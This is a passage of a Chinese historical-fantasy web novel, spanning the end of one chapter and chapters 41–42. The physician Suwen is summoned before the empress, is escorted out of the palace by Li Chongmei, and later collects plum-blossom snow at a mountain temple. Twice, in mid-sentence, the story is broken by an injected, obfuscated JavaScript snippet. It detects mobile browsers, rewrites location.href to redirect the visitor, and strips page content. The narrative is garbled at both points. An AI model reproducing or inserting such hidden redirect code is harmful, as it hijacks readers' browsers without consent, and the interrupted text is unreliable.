在屋里的时候能感觉到外间白蒙蒙的,本以为是天亮的缘故,出了门后,素问才发现外间起了大雾。这雾气在李府内还稍稍好些,到了大道上,人眼便无法看清五步开外是何情景了。雾气遮挡,素问的视力也好不到哪里去,只能靠着记忆往前走,路上鲜少遇见行人,快到坊门时,才看到包子铺前挂起的黄灯笼。 宣风坊门的门楼边也有类似的灯笼,提灯人身形欣长,披着一件灰色斗篷,面朝坊内,似乎是在等人。 素问认出那人,脚步瞬间变得轻快,但是随着距离的拉近,她渐渐冷静下来。 方灵枢很快便看到素问,立刻迎过来,一边将手中另一件斗篷递给素问,一边道:“我猜你会很早出门,果真如此。” 素问接受好意,将斗篷披上,有些好奇地问:“为何会这么觉得?你又因何会来这里?” “因为你不想让别人注意到。”方灵枢与素问并肩而行,声音有些沉重,“我来,也是这个原因。” 素问更是不解:“怎么?” “衙内家事不愿为外人所知晓,但世间岂有不透风的墙?坊间其实早有传闻,昨日衙内阵仗那般大,有心之人自然注意到,也联想到了。”方灵枢说着,带素问往右转。 素问停下脚步,指了指身后:“惠训坊在那头。” 方灵枢解释道:“宫里恐怕会有人找你,不管是为你还是为衙内着想,都不宜与他们见面,我想带你出城避几日。” 素问想到图南先前给自己看的小纸条,也是说自己被宫中贵人盯上了,须得远离李重琲,如今看来,对方可能不仅是为了李重琲,更有可能是为了玲珑夫人和这个不知来历的孩子。想到此处,素问道:“有道理,我们走。” 可惜对方也想到了,素问和方灵枢刚到定鼎门,还未说明出城的要求,便有十来个人围了上来,他们都穿着普通的布衣,但举手投足却是武人习惯,眼睫和发间都是露水,显然等了很久了。 素问和方灵枢对视一眼,不由都皱起了眉。 一个领头人越众而出,向素问客客气气地行了一礼,道:“我家主人请叶医师过府一叙,若是不愿从定鼎门出发,其他城门也都有奴仆等着,自然,安平医庐早已安排好了车马——叶医师想怎么走?” 这是将所有的门路都堵死了。素问并不怕见什么皇亲,便道:“我可以去,就是担心同伴,你们不会为难他罢?” “我等不是打家劫舍的恶人,方医师在洛阳城也是有声望的,叶医师但请放心。”那人道。 素问也不啰嗦,示意他们拉来马车,从容地坐了上去。素问刚坐定,忍不住掀起窗帘,伸出手去。 方灵枢毫不迟疑地上前一步握住她,温声道:“我去安平医庐跟弟弟妹妹们招呼一声,免得他们着急,然后租辆马车去皇城外等。” 领头人笑道:“我们会将叶医师安然送回惠训坊。” “有劳。”方灵枢淡淡回应,抬头看向素问,微不可察地点了点头。 素问安心一笑,松开了手。 马车前后围着人,晃晃悠悠地沿着天街北上,径直过了三道桥,尔后往左一转,在右掖门前停下。素问以为该下马车了,便将药箱背到肩上,正待起身,马车又重新出发,过了右掖门后,行了片刻功夫,再次停下。 领头人这才在外间道:“叶医师,我们到了。” 素问下了马车,抬头一瞧,看到“长乐门”三字,便知自己已经进了皇城,在宫城外了。 东都洛阳在武周年间被称作神都,皇城紫微宫在此期间达到极盛之势,然而安史之乱后毁于兵燹,今朝之紫微宫与当年早已不可同日而语,即便后来屡有修缮,终归难掩破败之象,到得如今,皇帝还欠着兵士钱,就更不可能重现荣光。 长乐门门头上甚至有漆红斑驳脱落。 领头人收走了素问的药箱,然后将她交给一个内侍。他们沿着洛城高墙边走,随处可见杂草乱石,素问瞥了两眼,就不再好奇,尔后一路绕过大内,来到后宫入口。 内侍全程不发一言,到这里将素问引给一个宫女后便转身离开了。那宫女先搜了搜素问的身,最后目光落在她发间唯一一个木簪上,犹豫片刻,没再要求她摘下,带着素问入后宫,来到一处宫殿外站定。 门口守着的宫女见状,其中一人进殿去回话,片刻之后与另一个宫女一道出来,殿内跟出的宫女道:“娘娘命你进去,随我来。” 殿内干净整洁,装饰不多,胜在布置得当,一花一木皆与瓦柱相和,若殿主人如外界传言那般善妒,不应有如此心境。 素问心里暗自思索着,脚下不停,片刻功夫便来到了一处珠帘外。珠帘里还有一层薄纱,从外看去,仿若雾里看花,可见桌案上檀香袅袅,但难见锦衣华服女子真面。 宫女站在素问旁,示意她垂头,莫要到处看,然后回话道:“娘娘,叶素问带到。” 华服女子微微一动,旁边一个嬷嬷从里间走出,她看了素问一眼,问:“见到娘娘,怎么不跪拜行礼?” 素问道:“我听说宫中礼仪复杂,怕行错了礼反倒不好。” 这嬷嬷冷笑一声:“药圣谷惯来称神道圣,今日看来,果真威风。” 素问无言,她自己的行为自然不能牵连到人间挂名的师门,便利落地跪下,伏地行礼。 “果真不懂规矩,起罢。”皇后终于在里间发话,转身坐到椅子上,道,“叶素问,你可知今日为何被召?” 素问起身,垂头道:“不知。” 皇后抬手挥了挥,等嬷嬷清空了人,自己也退了出去,皇后才开口道:“玲珑夫人的孩子还好么?” 素问有些茫然:“娘娘是说李衙内么?” “莫要自作聪明,你知道我在问什么。”皇后淡淡道,“她还活着么?” 素问沉吟一瞬,道:“夫人有隐疾,但在逐渐变好。” “隐疾……哼!”皇后嗤笑,“真当我是瞎了聋了?” 素问抿唇不语。 皇后顿了片刻,缓了语气,叹道:“其实也怪不了她,当初五弟猜忌陛下,将我儿重吉禁军兵权解去,又将小女幼澄接进宫中为质,赵玲珑母子俩在洛阳的日子自然也不好过,她不从中斡旋,恐怕两人早就没命了,可她一个弱质女子又做什么?” 素问有些惊讶,不由抬头看向珠帘之后,这才算看清了皇后是何模样,于是更为惊讶——她与玲珑夫人竟有七分相似,只是面上多了些风霜,更加坚毅些。 皇后撑着头,想到当年情形,不由皱起眉:“当初为了救重吉和幼澄,她也是使尽了浑身解数,虽最终没能救回,我仍旧谢她,可以不去计较她与陛下的纠葛,说到底,我们是表姊妹,有一起长大的情分在。” 素问不解:“我在外面从未听说过娘娘与玲珑夫人的关系,这应当是秘闻了,娘娘为何要与我说?” “要你死个明白。” 素问:“……” 皇后吓唬过了,回到正题:“你帮我劝她一句,劝动了,我就不论你的罪,若是劝不动,你就提脑袋来见我。” 素问:“?”与她何干? 皇后自顾自继续道:“让她带着两个孩子离开洛阳,远远走开,去闽国、汉国或是吴越国,随她喜欢,总之这辈子别再叫我瞧见他们。” 素问道:“我会转述,但不能保证玲珑夫人会听我的。” “那你就等死罢。”皇后道。 不知为何,素问并未感觉到任何杀气。 里间安静了片刻之后,皇后下了逐客令:“药圣谷耳目不少,人没来,太后就得了消息——出去罢,好好给太后瞧瞧身体,说不定免你一死。” 素问这才明白,原来是图南去太后面前疏通了,皇后这才轻易放了自己。素问告退出去,到宫门口,便见到了太后宫里来接她的人。此人穿着与皇后宫里的人不同,气质温和,笑容和煦,再加上身材高挑,相貌出众,叫人一眼便注意到了。 嬷嬷带素问过去,很是客气地送走了他们。 等离皇后宫有一段距离的,宫女才回头向素问笑道:“还好么?圣人可能会威胁你几句,但是她不会真的伤害你,你莫要害怕。” 这善意太过明显,素问倒有些奇怪,她仔细看了宫女一眼,暗中记下她的相貌,口中回答道:“不害怕。” “那就好,我看你也不是个胆儿小的,等会儿见到太后也别发憷,你落落大方的,太后反而更喜欢。” 素问道:“我记住了,多谢。” 宫女笑眯眯地“嗯”了一声。 到了太后宫里,事实果真与宫女所述一致,素问给太后问诊一二,便被打发了出去,可见她平日里有自己用得习惯的太医,此番召见素问,与其说是看病,不如说是解围。 出后宫的路依旧由先前那名宫女带着,直等到快到宫门处,她才停了脚步,回头道:“你怎么不问我如何称呼?” 素问笑道:“若是还有机会见面,我应当能打听到。” 对方说得委婉,宫女却听得明白,她狡黠一笑,道:“那你就去打听打听试试。” 素问猛然想起图南为了保护心上人,绝不会泄露她的名讳,便随之一笑,道:“那我就更不能问了,希望将来还有机会再见,那时我再来请教阁下大名。” “阁、下、大、名。”宫女挨个咀嚼,笑弯了眼睛,“好,那我可要做好准备,好好介绍自己一番才好——咦?” 素问见宫女眼中笑意淡去,顺着她的目光看去,只见一个内侍等在门口,她有些奇怪:“怎么了?不是送我出去的人么?” “是陛下身边的人。”宫女嘴唇微动,快速说完后,带着素问到门口,笑着问,“内常侍有礼,怎么等在这里?” 内常侍笑道:“陛下听说叶素问进宫了,要召去见见呢。” 宫女一惊,低声问:“为何?她刚给太后看了病,太后印象蛮好呢……” “姑姑不必担心。”内常侍小声道,“与衙内有关,总之是好事。” 素问一阵无言。 内常侍以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382262|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在一边听不见,说完之后,冲她招了招手,居高临下道:“随我走一遭。” 素问脚步刚挪动一步,又停了下来,看向了内常侍的身后。 内常侍回头一看,见到来人,连忙躬身行礼:“殿下。” 宫女也跟着行礼。 李重美示意两人起身,等自己喘匀了气,才问:“你们在这里做什么?” 内常侍将皇帝要召见素问的话说了。 李重美当即道:“你先回去,与陛下说我送叶医师出宫了,晚点我会去面见陛下解释。” 内常侍目瞪口呆:“殿下!这这这……” “陛下不会罚你,安心回去。”李重美说罢,回头向宫女点了点头,道,“青兰也回去罢,我会将叶医师安然送到家的。” 素问看向宫女,不禁一笑:“原来你叫青兰。” 青兰失笑:“你可真是心大,这会儿还有空说这个?” 素问道:“顺其自然嘛。” 青兰无奈地摇了摇头,向李重美道:“我就送到这里,后面的路劳烦殿下。” 李重美温声道:“应当的。” 有李重美陪同在旁,出宫的路上再无枝节生出,内侍远远跟着,并不靠近,不过李重美还是回头确认了一眼,才开口道:“还好来得及时,不然可不好收场。” 素问奇道:“此话怎讲?” 李重美解释道:“小哥到了说亲的年纪,父亲一直留意着,无奈他不肯松口,前些天坊间传闻到了父亲耳里,他便传小哥来问,小哥顺势求父亲赐婚……” 素问眉头一跳:“什么?!” “父亲没答应。” 素问松了口气。 李重美叹道:“如此,今日父亲寻你去,肯定不是什么好事了。我知道小哥倾慕叶医师,也有意促成你二人的姻缘,但父亲因为对小哥有所亏欠,执意赐婚高门贵女,要让你委身做妾,此事莫要说小哥不同意,我也坚决反对。” 素问忽然理解为何明月奴会忍不住翻白眼,实在是这世间真的有如此荒诞无稽之事,叫人无言以对。 不过李重美与自己并没有熟悉到交心的地步,素问还是很明白这一点的,便问道:“上将军想说什么?” 李重美停下脚步,认真道:“往后宫中若是有人再派人去请叶医师,还请立即遣人来找我。”李重琲说着,从怀里取出一枚暗金令牌递给素问,继续道,“只要出示这枚令牌,我府中畅行无阻,即便我不在,也会有人进宫周旋。叶医师与方医师是第一批出城救灾的人,你们帮了我大忙,又心系百姓,在下力薄,或许做不到能顾好每一个人,但至少可以承诺绝不让叶医师受委屈——重美绝不食言。” 素问一怔,垂头看向令牌——她本以为李重美下一句该是让自己远离李重琲这一类的话,却没想到竟是努力给自己最大程度的庇护——难怪世人皆说李重美渊清玉絜,先前只道是三分为真,七分是沽名钓誉,原来竟是众目昭彰,实至名归。 片刻之后,素问抬起头,没有接令牌:“殿下好意,素问心领了,不过我既然能来洛阳开医庐,也有自己保命的本领,殿下放心。” 李重美有些惊讶,顿了片刻,才收回令牌,道:“好,但我的话仍旧算数,遇到解决不了的难题,尽管来寻。” 素问退后一步,冲他抱了抱拳,道:“殿下有用的着我的地方,也请尽情吩咐。” 两人相视一笑,重新出发,往宫门行去。 到长乐门时,素问心有所感,遥遥看向皇城之外,果然看见外面有车马等候的身影。 李重琲背着手站在她身旁,顺着看去,认出方灵枢,他不禁又低头去看素问,见她嘴角不自觉地扬起,眼睛也瞬间亮了起来,神色顿时变得有些复杂,片刻之后,又释然一笑,示意旁边的侍卫将药箱还给素问。 素问收回目光,将药箱背到肩上。 李重美冲马车的方向抬了抬下巴,道:“我要进宫去见父亲,既然有人来接你,那我就不远送了。” “今日多谢殿下解围。”素问认真道,“告辞。” “我并非百事通,是有人及时来寻我帮忙。”李重美意有所指地看了方灵枢一眼,尔后轻微地一点头,“告辞。” 素问有些意外,与方灵枢道别时,她本意是想让他安心回医庐等着,毕竟自己并非普通凡人,自然毫无畏惧,没想到方灵枢去寻来李重美,若不是他这番举动,也许自己现下还在努力应付皇帝。据说“天子一怒,伏尸百万,流血千里”,若是自己忤逆旨意,不知会招来什么结果。 或许要迫不得已去换身份——当初在九皋山上义无反顾地松手,如今素问想到这一点,却投鼠忌器起来,这个身份所认识的人、经营的关系,不知在什么时候竟变得如此重要了。 皇城之外,方灵枢目光从行人身上收回,不知第多少次地看向左掖门,忽然见到素问从里面走出,顿时放下心来,他驱着马车,一遍笑着挥手,一遍靠近素问。 “就当作是……修心。”素问喃喃道。 41. 绿蚁红泥(一) 秋风将落叶扫入街角,告知世人冬日来临。 素问将丹药按瓶码好,又塞入布条防碎,准备中午交给李重美府兵来取药出城赈灾,等到下午,明月奴会去准备下一轮要用的药,素问则开门问诊——从皇后召见之后,李重琲带来的麻烦随之消散,安平医庐又恢复了往常的平静,除了按时给方灵枢配药炼丹,素问在惠训坊多半都是这么度过一天。 今日上午也与先前一样,到了中午却有了变化:今日来取药的不是李重美府中的普通兵士,而是长史亲自来了。 刘岩未穿官服,只带着一个随从出行,很是低调。在门口晒药的明月奴愣是没辨别出他并非病人,直到人进了医庐,呼着白气道出开场,才将医庐例外几个人的目光吸引过去:“叶医师有礼,在下左卫上将军府长史刘岩,奉上将军之命,今日前来,一是取药,二是拜贺叶医师。” 素问站起身,看了一眼刘岩身后侍从捧着的箱子,奇道:“为何事拜贺?” 刘岩道:“冬至将至,宫里十分繁忙,殿下担心会疏忽,怠慢了叶医师,特地让在下早早赶来——殿下知道叶医师喜欢清净,也不在乎金银珠宝,因此让我带了一套医具来。”刘岩说着,令侍从打开箱子,放到素问面前的桌案上,继续道,“不是什么贵重物品,但都出自宫中能工巧匠之手,比市面上大多数医具要好用些。” “殿下有心了,多谢。”素问说着,示意刘岩入座。 刘岩摆了摆手,笑道:“叶医师忘了?在下今日主要是为取药,若是准备好了,我就拿走了。” 明月奴闻言,放下手中的簸箕,去柜台后将装着药瓶的竹筐搬出来,交给了刘岩的侍从。 刘岩果然不多留,带着侍从便要离开,不过临行之前想起一事,又道:“钦天监预测这几日会有雨雪,叶医师这里缺炭火么?” 素问摇头,道:“人道是‘瑞雪兆丰年’,只是不知这一场雪又要夺去多少性命。” 刘岩是个聪明人,当即明白了素问的意思,便道:“既如此,原准备给叶医师的份例,在下就折成粮食,拿去赈灾了。” 素问笑道:“我本就不该拿,这是上将军的恩泽,刘长史去办便是。” 刘岩笑着应声,这才带着侍从离开。 明月奴打开礼盒,果然见盒子左侧有一整套医具,而右侧丝绸布上则是一枚令牌,他将令牌拿起来,奇道:“阿姐,这个做什么用?” 素问抬眼一看,发现竟然是出宫那日被自己拒了的令牌,她心知李重美仍旧坚持送来,想必是认为自己有朝一日用得着,便道:“放回去,收起来罢。” 明月奴将令牌端正地摆了回去,关好了盒子搬到柜台后,收到柜子中,一边问道:“阿姐既然用不惯别人制出的用具,为何还要收下?” “上将军认为我如今在帮他的忙,若是什么都不收,他反倒不安。这箱礼物是他费心准备的,就当是领他的好意了。”素问说着,掐指一算,有些感慨,“来时还是酷暑,不想转眼间就到了冬至——人间看待冬至堪比过年,我们要不要给他们准备礼物?” 明月奴知道素问口中的“他们”都有哪些人,没好气道:“礼尚往来,没完没了,我们也别去送了,准备些放在家里,他们若是来,回一分礼便罢。” “你说得在理。”素问点头,沉吟道,“不过还是要想一想,每个人喜欢的不一定相同。” 明月奴撇嘴,正想说什么,被风风火火闯进来的爰爰给打断了。 爰爰带起的风刮起一阵浓郁的花香,等她站定,香气随之一定,柔和地向四周漫延开来,充斥着整间屋子。 “腊梅花?”素问目光落在爰爰手上的小枝桠,不禁问道,“现在是开梅花的时候么?” 爰爰沉浸在兴奋之中,道:“这是九皋山真武观后院的腊梅!不知为何,今年开得格外早一些,满山的梅花都还没结花骨朵儿,全靠着它的香气呢!” 明月奴扬眉:“阿姐让你去给方医师还书,你倒是本事大,偷偷回家去了。” “我当然没有这么大本事,这么远的路,我如何能半天之内来去?虽然我确实有些想家了。”爰爰气哼哼地反驳完,转向素问,语气立刻变得谄媚,“阿姐,是方医师,他前两天去九皋山了,今日大清早从真武观回来,带了这支早梅给阿姐。” 明月奴抱着手臂,皱眉打量爰爰,质问:“你拿了方医师什么好处?” 爰爰昂起下巴,道:“方医师很好啊,我夸得真心实意,为何要拿好处?” 明月奴嗤笑:“不是要找李重琲报恩么?” “方医师很好与我要找重琲哥哥报恩有什么冲突么?”爰爰理所当然道,“何况重琲哥哥现在过得很好,并不需要我啊,我远远看着就行。” 素问正在柜子里翻找花瓶,闻言一愣,不禁回头去看爰爰。 爰爰似乎没觉得自己的话有什么奇怪,正在施展法术护住花枝根部。素问目光在那道盘桓在断枝处的莹绿光上停了一瞬,等她再看向柜里时,蓦然发现一尊细长的墨色花瓶藏在角落,素问将它取出,放到了桌上,爰爰跟着将花枝插进,略做整理,便忍不住拍手笑道:“真好看!” “梅花选得好。”素问道。 明月奴冷哼一声,从袖中取出一个小壶,将花瓶倒至七分满。 爰爰睁大了眼,很是惊奇:“这是什么?这么小的壶怎么能出这么多水?”说着,她伸手点了一滴水来尝,于是更加惊讶,“这是什么水?怎么如此甘甜?” “悬鸦壶,我的法宝,能装下小半个天池的水。”明月奴有些得意,大发慈悲地解释,“水自然就是天池水了,昆、仑、天、池!你这种小妖,别说喝了,见都见不到!” 爰爰“哇”地一声,连忙问道:“那你如何得来?能不能分给我一点?” “不能。”明月奴果断道,“一大半要给阿姐炼药呢。” 爰爰立刻追问:“那剩下的一小半呢?” 素问看向窗外,感觉到有人在靠近。 “酿酒。”明月奴似乎毫无所觉,扬唇一笑,“你等着罢,还有一个月,让你瞧瞧仙酿的滋味,省得一天到晚没见过世面似的,总去元老头那里哄葡萄酒来喝。” “嗯?元老头是谁?”元度卿忽然从窗外冒头,狐疑地看着明月奴,“我倒是有葡萄酒,难道小奴儿是在说我?” “偷听墙角可非君子所为啊。”明月奴很是淡然,显然方才是故意说给元度卿听。 爰爰深吸一口气,拍着胸口,抱怨道:“元大叔,你吓了我一大跳呢!” 元度卿笑嘻嘻地缩回了头,转而从大门悠哉悠哉地晃进了屋,道:“以你们俩的大嗓门,河对岸都能听见你们的声音,我在家也能听得到,谁稀罕偷听?”说到这里,元度卿哼了一声,问明月奴,“你有什么仙酿?难道不是说大话?” 明月奴翻了个白眼:“你是谁?值得我费这个脑筋?” 元度卿道:“你且嘴硬着,等酿好了,我非得来尝尝,到时候看你还有什么话好说。” 明月奴不理会他的激将法,甩下一句“想也别想”,便出门去继续晒药了。 元度卿自然跟出去继续啰嗦。 爰爰看屋里只剩素问和自己了,凑近素问道:“阿姐,你托我去找方医师借梅蕊雪,但是他那里没有留存,你若是不急,九皋山有很多梅花,等开放的时候,可以去守雪。” 素问想到刘岩的话,道:“那这两天就可以出发了。” 明月奴停下手,看向屋里。 元度卿回头看去,什么也看不到,当即叉着腰问:“小奴儿,你是不是想转移注意力?你就说说,那仙酿到底是怎么个好法?” 明月奴看向元度卿,认真道:“总有一天,我要拔了你的舌头。” 元度卿:“……” 屋里,爰爰悄声道:“阿姐想何时出发?我去知会方医师。” 素问莫名看了爰爰一眼,问道:“你不是在九皋山长大么?你带我去便是,何必惊扰别人?” 爰爰有些失落:“也可以……” 外间,元度卿忽然见鬼似的大喊一声:“你笑什么?” 明月奴连忙收起笑容,看向远方,道:“图师兄来了。” 马蹄声很快传来,元度卿回头看去,认出来人后,“喔唷”一声,扬声道:“还真是图太医!” 素问脸色一瞬间变得严肃起来,马蹄声停下后,她没像往常那样迎出去,而是端坐不动,只是目光落在门口,看着拉长的影子靠近门槛。 很快,一人跨了进来。素问抬起头,淡淡道:“师兄。” 图南看上去很高兴,冲素问一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15395926|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招手,道:“跟我走!” 素问抿唇。 图南道:“愿赌服输,你是不肯认输,还是不肯放兰兰离开?” “只要有更好的路,我不会挽留任何一个人。”素问当即站起,道,“图师兄领路罢。” 三天前,图南号称自己与方灵枢合办的善堂已经开起来了,他与素问打赌,赌兰兰在善堂三日,会选择留下,而不是回到素问身边。素问原先不信,现在看图南如此志得意满的模样,心里说不好是担忧还是欣喜,只能按捺住所有的情绪,与图南一起往城外行去。 善堂名作“若水”,建在城南,毗邻方家田庄,平日里粮食布匹一应物品俱由田庄代买,银钱也自田庄分出,方灵枢的意思很明确——只要有方家在,就不会短缺善堂用度。 素问没有进善堂,她只远远从高地看里间情形,从三个孩童脸上的神情来看,图南的叙述即便有夸大,也有九分真实。兰兰在善堂可以与同龄人笑闹,也能学知识本领,也许将来会有委屈哭泣的时候,但最重要的是,她是与凡人在一起,比起在安平医庐跟着他们要好。 图南见素问神情松动,道:“这些孩子将来离开善堂,可以去方家的产业帮忙,也可以跟着我学医,如果他们愿意,再将所得投入一部分入善堂,帮助与他们当初一样无助的孩子,那就更好了,如此一来,善堂一定会越办越大,救助越来越多的人!” 素问道:“若是孩子们长大后不愿意反哺呢?” “也是人之常情,所以主要财源还是方家,若是方家衰落,我也无力,那就只好关门了。”图南说得悲观,语气却很轻快,“当然了,还有另一个可能,那就是方家在众人不断的加入中,产业越做越大,我也收了许多弟子,开了很多医馆,我们还遇见了更多心善之人参与善堂之中,如此一想,是不是前途无量?” 素问不禁笑起来,点头道:“不错,最差也就是失败,但现在救助的人是实实在在的,若是善堂有朝一日真能壮大,说不定能流传很多年。” 图南点头,他眺望着远方,有些憧憬:“乱世么……总归有结束的时候,到了太平盛世,没有那么多孤儿,我们就将善堂变作学堂,教书育人。”图南想了想,又补充道,“要因材施教,不愿考科举的人,可以学医、学工、学做菜,还有女红,都是活命的本事。” 素问看着图南,说不出泼冷水的话,那些连她都看得清的真相,图南不可能不明白,此时自诩清醒反倒矫情。赤子之心甚是难得,图南明知将来会撞得头破血流,今日还是要义无反顾,素问所能做的便是为他们准备好退路,以及最大程度的支持。 因此,素问道:“图师兄入宫的时候,我可以来代为教授医术。” 图南笑道:“你干脆自己收弟子,难道师父还会不允许么?” 素问摇了摇头:“我不收,师徒情分都是羁绊。” 图南忍不住问:“那师兄妹呢?” “自然也是。”素问道,“不过这没办法,是师父给我们安排的羁绊,躲不掉的。” 图南冷哼:“看来师妹是不想要了?” 素问笑而不语。 图南顿时急得抓耳挠腮,但是很快就反应过来,忽然问:“你与方灵枢的羁绊是躲得掉的么?” 素问:“……不是命中注定的事,都是可以躲得掉的。” “若是命中注定呢?” 素问摇头:“据我了解,不是。” 图南笑道:“想去做的就顺应天命,天命不允你却也想做的,那就逆天改命!活人嘛,难道还能被自己逼死?” 素问顿时沉默。 一声轻笑传来,图南浑然不觉,素问却看到一道白光从怀里飘出,落到马头上,成了一个虚影。 妤再道:“你何必与他们说这些?妖精不懂你的取舍,凡人也不知你的难处。” 素问无法回答妤再,只能垂眸不语。 妤再看着远处的善堂,轻叹道:“对不住啦,我如今这个模样,算不得什么好榜样,实在无法给你指引。” 素问笑了笑,道:“也罢,等我下定决心,必然一条道走到黑,无怨无悔。” 图南一愣:“何意?” 妤再却是释然一笑,道:“你想明白就好。” 素问不再多言,掉转马头往城门行去。 42. 绿蚁红泥(二) 钦天监的预测很准确,四日之后,天空逐渐密布阴云,北风呼啸两日之后,雪花终于姗姗而落。 “大旱之年,连雪落得都比往常迟,雪粒子也不大,看这模样,恐怕旱灾一时半会儿结束不了。”石水玉站到门前,手扶在门框上,不一会儿便冻得通红。 图南打了个哆嗦,连忙道:“石小娘子,劳烦将草帘放下,素问这里不点炉火,本来就冷些,再灌些冷风可不得了!” “唔,对不住。”石水玉放下了帘子,坐到桌边,有意无意之间看向一旁的明月奴,道,“这样坏的天,你怎么放心让素问和爰爰出门?” 明月奴本在闭目养神,闻言顿了片刻,才淡淡道:“阿姐是昨日出发,那时还没有下雪,再回来定然是雪停之后,也不会有危险。” “雪地路滑呀。”石水玉道,“若是采药,必是野外,她们去哪里了?” 明月奴睁眼,似笑非笑地看着石水玉:“你是想问我阿姐的去处,还是想打听另一个人的行踪?” 石水玉坦然道:“他们俩都是我的朋友,我一样关心。” 明月奴嗤笑道:“你不过是一介凡夫俗子,在洛阳城又无亲无靠,何必做自己做不到的事——还是说石小娘子有我们不知道的本事?” 图南忍不住道:“明月奴,水玉一片好心,你不知道他们去哪里就实话说,何必冷嘲热讽?” 明月奴立刻道:“我不知道。” 石水玉沉默地盯了明月奴一瞬,转向图南,诚恳道:“多谢图太医。” 图南摆了摆手,道:“明月奴话不好听,但还是在理的,素问既然选择在这样的天气出去,肯定是心有把握,你不必担心。至于李衙内,嗯……他随身那么多家仆,就更不需要我们操心了。” 石水玉自嘲一笑,不愿多留,便道:“那我就先走了。” 图南客套道:“慢走,等素问回来,我让她给你传信。” 石水玉轻轻一点头,拂开帘子出门。 雪粒子落在地上,一开始都化做了水,润湿了干枯的土地后,便开始囤积起来,人走在上面宛若踩在沙砾之上,稍不注意便要遭一滑。石水玉看水面也结着冰,不由得疑惑起来:雨雪天,能采什么药? 梅蕊雪对于凡间用药来说,至多是锦上添花之举,甚至称之为“噱头”也不过分,但它却是方灵枢第二味药“蕃秀”必不可少的药材,石水玉想不明白实属正常,真武观的道长木心同样想不明白。 夜幕降临之后,雪越来越大,簌簌落入山间,由鹅毛堆成棉团,逐渐铺满了阶下、占住了瓦尖。 木心一早醒来准备做早课,开门一看,发现雪已经停了,只有偶尔风吹起的散雪纷纷扬扬,天地一片寂静。木心往手心呼出一点热气,猛然想到什么,立刻跑向后院,不料临到门槛前脚下一滑,直接朝着高高的门槛扑了过去。 下一刻,一个瘦小的身影忽然出现,也不知她如何站稳了脚步,竟然双手上举,撑住了木心。 木心往下一看,不禁“咦”了一声:“爰爰?” 爰爰抬头,龇牙一笑:“快起来呀!” “哦!”木心手忙脚乱地站起来,奇道,“你怎么力气这样大?” 爰爰撇嘴:“天生大力。” 木心不疑有他,跨过门槛看去,发现素问在廊下封瓶,忙问道:“你们起得这么早?” “是一夜未睡。”爰爰纠正道,而后越过木心,来到素问身边帮忙。 素问抬头冲木心打了个招呼,笑着解释:“梅上雪要几分厚有讲究,所以就守着了。” 木心不由惊叹:“奇哉!看你也不累,似乎还不怕冷。” 爰爰吐了吐舌头,很是自豪:“我阿姐是医师,自然会先养好自己的身体呀!” 木心来了兴致,蹲到素问身边,道:“我平日里也会炼丹,可总是不得要领,依叶医师来看,炼丹与炼药丸是不是异曲同工?” 素问想了想,道:“本质相同,但我并不认同人间炼丹之举,亦不赞同凡人直接吃丹药。木道长是修道之人,该知道凡人之躯无法承受金石之力,非得修炼入道、褪去凡体才可,否则恐怕会适得其反。” 木心有些茫然:“如何修炼入道?” 素问一笑:“这我就不清楚了,方才所述也有许多局限,只是通过以往医书推测而来。” 木心不死心,问道:“炼药丸也不行?我看叶医师身体很是强健。” “延年益寿自然是可以的,不过也要因人而异,可不能照着书中胡乱炼药。” 木心不禁叹息:“若要精通医理药理,不花费个十来年功夫是不成的,我又不想下山去,那还是留在观中修修心便罢。” 爰爰劝道:“说不定哪天想明白就入道了呢!届时就可以炼丹巩固自己的修为了!” 木心笑道:“难得难得,跟着叶医师几个月,倒学会安慰人了。” 爰爰昂首自得。 木心接着道:“就是个子不见长,还跟个孩子似的。” 爰爰顿时鼓起了嘴。 素问抱着瓷瓶起身,道:“我要走了,多谢木道长这两日的照顾。” 木心坦然道:“方医师给过香火钱,叶医师倒不必客套,不过你就这么走?这点雪够么?” 素问实际收集的雪自然不止这么多,不过都收在了须弥戒里,怀中瓶里的水是为了给外人看。她便道:“够了,若是回去用完了,等下一场雪再来。” 木心想到山间还有其他未开的梅花,便不再多说,只是一再与她们俩确认可以安然下山,才将人送出了真武观。 离开木心的视野后,素问和爰爰行走起来反而更是轻松,很快便到了九皋山下。此时天色尚早,官道上只有几道车辙,环顾四周,俱是白茫茫的一片,想来很难会有路人经过,若是施法,也不怕有人看见,爰爰便背着素问跑去林间,几个起落之间,已然来到数十里之外。 爰爰忽然之间停了脚步,朝着不远处的棚户区使劲嗅鼻子。 素问让爰爰放下自己,看向棚户区,道:“是兰兰家的方向——你闻到谁了?衙内?” 爰爰连连点头:“重琲哥哥流血了!我记得这个气味,上回他被打就是这个味!” 素问奇道:“上回不是鸡血么?” “有一丁点儿鼻血啦。” “那你的修为真是涨了不少。”素问赞了一句,与爰爰一道往棚户区去,离得近了,她很快也闻到了那股血腥味。 两人循着气味去找,没过多久,便看到一道雪地中拖拽的血痕,痕迹不宽,看模样是伤在腿部,素问将推测道出,爰爰深深松了口气。 片刻之后,她们来到一处棚户外。这间没有人住,大约是因为整个顶都被掀掉了,四周也是破破烂烂,这会儿雪停了,只能稍稍挡住些寒风。 素问在里间看到熟悉的身影,不知为何,她并不惊讶,似乎从方才落地时,她心里就有个隐秘的希望,希望可以遇见他。 爰爰却很惊讶:“方医师?” 